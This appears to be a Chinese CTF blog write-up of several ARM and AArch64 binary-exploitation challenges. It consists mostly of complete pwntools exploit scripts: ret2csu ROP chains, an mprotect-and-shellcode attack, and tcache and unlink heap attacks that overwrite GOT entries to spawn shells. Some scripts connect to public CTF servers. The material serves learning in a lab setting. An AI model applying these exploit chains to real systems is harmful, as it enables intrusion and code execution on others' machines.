做了几道简单的ARM架构题
64位栈溢出主要是利用csu中的gadget控制执行流
堆题感觉和x86/x64差别不大,但是调试挺麻烦的,无法一键查看heap和bin的情况,只能找地址嗯调

另外跟谢哥学了一手把要在gdb-mutiarch执行的命令写到文件里,然后在gdbinitsource写了命令的文件,这样调试就方便了很多

TSCTF2020-HelloArm

泄露基址,orw读flag
不过在用gdb-multiarch调试的时候发现开flag对应的fd是7。关掉直接跑就又正常是3了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'aarch64'
Debug = 1

elf = ELF('./HelloARM')
libc = ELF("/home/ayoung/pwn/aarch64/lib/libc-2.27.so")

def get_sh(other_libc=null):
if Debug:
r = process(["qemu-aarch64", "-g", "2333", "-L", "/home/ayoung/pwn/aarch64/", "./HelloARM"])
log.info('Please use GDB remote!(Enter to continue)')
pause()
return r
else:
return process(["qemu-aarch64","-L","/home/ayoung/pwn/aarch64/","./HelloARM"])

r = get_sh()
r.recvuntil('Magic number:0x')
stack_addr = int(r.recv(10),16)

r.recvuntil('Set your name:')
r.sendline('/bin/sh\x00')
r.recvuntil('Set your message:')


csu_1 = 0x400AD0
csu_2 = 0x400AB0
main = 0x400790
pay = b'\x00'*0x100+p64(stack_addr-0x120)+p64(csu_1)+b'B'*0x110
pay+= p64(csu_2)*3+p64(1)+p64(elf.got['write'])
pay+= p64(1)+p64(elf.got['write'])+p64(0x5)
pay+= b'A'*8+p64(main)
r.send(pay)
print (hex(stack_addr))

r.recv(1)
write_addr = u64(r.recv(5).ljust(8,b'\x00'))
print (hex(write_addr))
libc.address = write_addr-libc.sym['write']
print (hex(libc.address))

#b *0x4009B4
r.recvuntil('Magic number:0x')
stack_addr = int(r.recv(10),16)

r.recvuntil('Set your name:')
r.send(b'./flag\x00\x00'+p64(libc.sym['open']))
r.recvuntil('Set your message:')
bss_addr = 0x411080

pay = b'\x00'*0x100+p64(stack_addr-0x120)+p64(csu_1)+b'B'*0x110
pay+= p64(bss_addr+0x30)+p64(csu_2)*2+p64(1)+p64(bss_addr+8)
pay+= p64(bss_addr)+p64(0)+p64(0)+p64(stack_addr+0x140)
pay+= p64(csu_1)+p64(0)+p64(0)*5+p64(bss_addr+0x30)+p64(csu_2)
pay+= p64(0)+p64(1)+p64(elf.got['read'])
pay+= p64(3)+p64(bss_addr+0x20)+p64(0x50)
pay+= p64(bss_addr+0x30)+p64(csu_1)
pay+= p64(0)*6+p64(bss_addr+0x30)+p64(csu_2)+p64(0)
pay+= p64(1)+p64(elf.got['write'])
pay+= p64(1)+p64(bss_addr+0x20)+p64(0x50)

r.send(pay)

r.interactive()

TSCTF2020-HelloArmShell

泄露基址,system("/bin/sh")getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'aarch64'
Debug = 0

elf = ELF('./HelloARM')
libc = ELF("/home/ayoung/pwn/aarch64/lib/libc-2.27.so")

def get_sh(other_libc=null):
if Debug:
r = process(["qemu-aarch64", "-g", "2333", "-L", "/home/ayoung/pwn/aarch64/", "./HelloARM"])
log.info('Please use GDB remote!(Enter to continue)')
pause()
return r
else:
return process(["qemu-aarch64","-L","/home/ayoung/pwn/aarch64/","./HelloARM"])

r = get_sh()
r.recvuntil('Magic number:0x')
stack_addr = int(r.recv(10),16)

r.recvuntil('Set your name:')
r.sendline('./flag\x00\x00')
r.recvuntil('Set your message:')


csu_1 = 0x400AD0
csu_2 = 0x400AB0
start = 0x400790
pay = b'\x00'*0x100+p64(stack_addr-0x120)+p64(csu_1)+b'B'*0x110
pay+= p64(csu_2)*3+p64(1)+p64(elf.got['write'])
pay+= p64(1)+p64(elf.got['write'])+p64(0x5)
pay+= b'A'*8+p64(start)
r.send(pay)
print (hex(stack_addr))

r.recv(1)
write_addr = u64(r.recv(5).ljust(8,b'\x00'))
print (hex(write_addr))
libc.address = write_addr-libc.sym['write']
print (hex(libc.address))

#b *0x4009B4
r.recvuntil('Magic number:0x')
stack_addr = int(r.recv(10),16)

r.recvuntil('Set your name:')
r.send(b'/bin/sh\x00'+p64(libc.sym['system']))
r.recvuntil('Set your message:')
bss_addr = 0x411080

pay = b'\x00'*0x100+p64(stack_addr-0x120)+p64(csu_1)+b'B'*0x110
pay+= p64(csu_2)*3+p64(1)+p64(bss_addr+8)
pay+= p64(bss_addr)+p64(0)+p64(0)+p64(0)
r.send(pay)
print (hex(stack_addr))

r.interactive()

shanghai2018_baby_arm

bss写shellcode,栈溢出执行mprotect修改可执行权限然后跳转执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'aarch64'
Debug = 0
Remote = 0

elf = ELF('./pwn')
# libc = ELF("/home/ayoung/pwn/aarch64/lib/libc-2.27.so")

def get_sh():
if Debug:
r = process(["qemu-aarch64", "-g", "2333", "-L", "/home/ayoung/pwn/aarch64/", "./pwn"])
log.info('Please use GDB remote!(Enter to continue)')
pause()
return r
elif Remote:
return remote('node4.buuoj.cn',29394)
else:
# return process(["qemu-aarch64","-L","/home/ayoung/pwn/aarch64/","./pwn"])
return process(["qemu-aarch64","-L","./","./pwn"])

r = get_sh()
shellcode = shellcraft.sh()
r.recvuntil('Name:')
r.send((p64(elf.plt['mprotect'])+asm(shellcode)).ljust(0x200, b'\x00'))
sleep(0.5)

csu_down= 0x4008CC
csu_up = 0x4008AC
bss_addr = 0x411068
pay = b'\x00'*0x40+p64(bss_addr+0x150)+p64(csu_down)
pay+= p64(bss_addr+0x150)+p64(csu_up)+p64(0)+p64(1)
pay+= p64(bss_addr)+p64(7)
pay+= p64(0x2000)+p64(bss_addr&0xfffff000)
pay+= p64(bss_addr+0x150)+p64(bss_addr+8)+b'\x00'*0x20

r.send(pay)

r.interactive()

jarvisoj_typo

32位静态编译
可以通过shift+F12看到/bin/sh字符串,进而定位到system函数
另外虽然没有符号但也不难猜出几个函数的作用
题目存在栈溢出可打

32位下有pop指令可以利用,相对64位方便一些
利用pop改r0指向/bin/sh,改pc为system地址,即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'arm'
Debug = 0
Remote = 1

elf = ELF('./typo')

def get_sh(other_libc=null):
if Debug:
r = process(["qemu-arm", "-g", "2333", "./typo"])
log.info('Please use GDB remote!(Enter to continue)')
pause()
return r
elif Remote:
return remote('pwn2.jarvisoj.com',9888)
else:
return process(["qemu-arm","./typo"])

r = get_sh()
pop_r0_r4_pc = 0x00020904
sys_addr = 0x110B4
bin_addr = 0x6C384
r.send('\n')

r.recv()
r.sendline(b'A'*0x70+p32(pop_r0_r4_pc)+p32(bin_addr)+p32(0)+p32(sys_addr))

r.interactive()

2019xman入营-babyarm

这题只找到elf没找到libc,看别的师傅写的好像是2.23的环境,但有点懒得再调环境了,就直接做的是2.31libc下做了。

有uaf,先用unsorted bin拿基址,再用tcache改free的got表地址,然后执行system("/bin/sh")

感觉2.23下应该会更麻烦一点,可能大概得利用第一次输入的name作为fake size,配合fastbin attack打过去改指针指向free的got表地址来填入system

另外有点不太清楚arm的libc基址要怎么算,这边歪打正着发现乱算出来的system地址+0x1000刚好得到了真正的system地址

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'arm'
Debug = int(sys.argv[1])
Remote = 0

elf = ELF('./pwn')
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc-2.31.so')

def get_sh(other_libc=null):
if Debug:
r = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabihf/", "./pwn"])
log.info('Please use GDB remote!(Enter to continue)')
pause()
return r
elif Remote:
return remote('',)
else:
return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf/", "./pwn"])

def add(sz, ct):
r.recvuntil(' your choice: ')
r.sendline(str(1))
r.recvuntil('Note size :')
r.sendline(str(sz))
r.recvuntil('Content :')
r.send(ct)

def delete(idx):
r.recvuntil(' your choice: ')
r.sendline(str(2))
r.recvuntil('Index :')
r.sendline(str(idx))

def show(idx):
r.recvuntil(' your choice: ')
r.sendline(str(3))
r.recvuntil('Index :')
r.sendline(str(idx))

def edit(idx, ct):
r.recvuntil(' your choice: ')
r.sendline(str(5))
r.recvuntil('Index :')
r.sendline(str(idx))
r.recvuntil('You content:')
r.send(ct)

r = get_sh()
r.recvuntil('Tell me your name:')
r.sendline('AA')


add(0x500, 'A')
add(0x10, 'B')
add(0x10, 'B')
add(0x10, 'B')
add(0x10, '/bin/sh\x00')
delete(0)
show(0)

address = u32(r.recvuntil(b'\xff')[-4:])-56-8-libc.sym['__malloc_hook']
libc.address = address&0xfffffff000

delete(3)
delete(2)
delete(1)
edit(1, p32(elf.got['free']))
add(0x10, 'A')
add(0x10, p32(libc.sym['system']+0x1000))
delete(4)

r.interactive()

exp2

可以劫持bss上的指针指向free的got表来泄露基址并改写为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'arm'
Debug = int(sys.argv[1])
Remote = 0

elf = ELF('./pwn')
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc-2.31.so')

def get_sh(other_libc=null):
if Debug:
r = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabihf/", "./pwn"])
log.info('Please use GDB remote!(Enter to continue)')
pause()
return r
elif Remote:
return remote('',)
else:
return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf/", "./pwn"])

def add(sz, ct):
r.recvuntil(' your choice: ')
r.sendline(str(1))
r.recvuntil('Note size :')
r.sendline(str(sz))
r.recvuntil('Content :')
r.send(ct)

def delete(idx):
r.recvuntil(' your choice: ')
r.sendline(str(2))
r.recvuntil('Index :')
r.sendline(str(idx))

def show(idx):
r.recvuntil(' your choice: ')
r.sendline(str(3))
r.recvuntil('Index :')
r.sendline(str(idx))

def edit(idx, ct):
r.recvuntil(' your choice: ')
r.sendline(str(5))
r.recvuntil('Index :')
r.sendline(str(idx))
r.recvuntil('You content:')
r.send(ct)

r = get_sh()
r.recvuntil('Tell me your name:')
r.sendline('AA')

add(0x20, 'A')
add(0x20, 'A')
add(0x20, 'A')
add(0x20, 'A')
add(0x10, '/bin/sh\x00')

ptr_addr = 0x21088
delete(3)
delete(2)
delete(1)
edit(1, p32(ptr_addr))
add(0x20, 'A')
add(0x20, p32(elf.got['free']))
show(0)
libc.address = u32(r.recv(4))-libc.sym['free']
print (hex(libc.address))
edit(0, p32(libc.sym['system']))
delete(4)

r.interactive()

2020第五空间-pwnme

32位
找到这题的时候给了一个a.out文件和一个lib文件夹,用的是uclibc,因为这题链接库的问题,得重命名一下lib下的.so文件为libc.so.0对应上源文件的链接库路径才能跑起来。

代码漏洞有一个堆溢出和nullbyte溢出
没开pie
指针记录在bss上

可以伪造fake prevsizefake fdfake bk利用unlink造成任意地址读写,接着指向free函数got表泄露基址,再改写为system即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'arm'
Debug = int(sys.argv[1])
Remote = 0

elf = ELF('./a.out')
libc = ELF('./lib/libc.so.0')

def get_sh(other_libc=null):
if Debug:
r = process(["qemu-arm", "-g", "2333", "-L", "./","./a.out"])
log.info('Please use GDB remote!(Enter to continue)')
pause()
return r
elif Remote:
return remote('',)
else:
return process(["qemu-arm", "-L", "./", "./a.out"])

def show():
r.recvuntil('>>> ')
r.sendline(str(1))

def add(sz, ct):
r.recvuntil('>>> ')
r.sendline(str(2))
r.recvuntil('Length:')
r.sendline(str(sz))
r.recvuntil('Tag:')
r.send(ct)

def change(idx, sz, ct):
r.recvuntil('>>> ')
r.sendline(str(3))
r.recvuntil('Index:')
r.sendline(str(idx))
r.recvuntil('Length:')
r.sendline(str(sz))
r.recvuntil('Tag:')
r.send(ct)

def delete(idx):
r.recvuntil('>>> ')
r.sendline(str(4))
r.recvuntil('Tag:')
r.sendline(str(idx))

r = get_sh()
ptr_addr = 0x2106c

for i in range(3):
add(0x90, b'/bin/sh\x00'*0x90)

pay = p32(0)+p32(0x89)+p32(ptr_addr-3*4)+p32(ptr_addr-2*4)
pay+= b'\x00'*0x80+p32(0x90)+p32(0x98)
change(0, 0xb0, pay)
delete(1)
change(0, 0x10,p32(0)*3+p32(elf.got['free']))
show()
r.recvuntil('0 : ')
libc.address = u32(r.recv(4))-libc.sym['free']
change(0, 0x10, p32(libc.sym['system']))
delete(2)

r.interactive()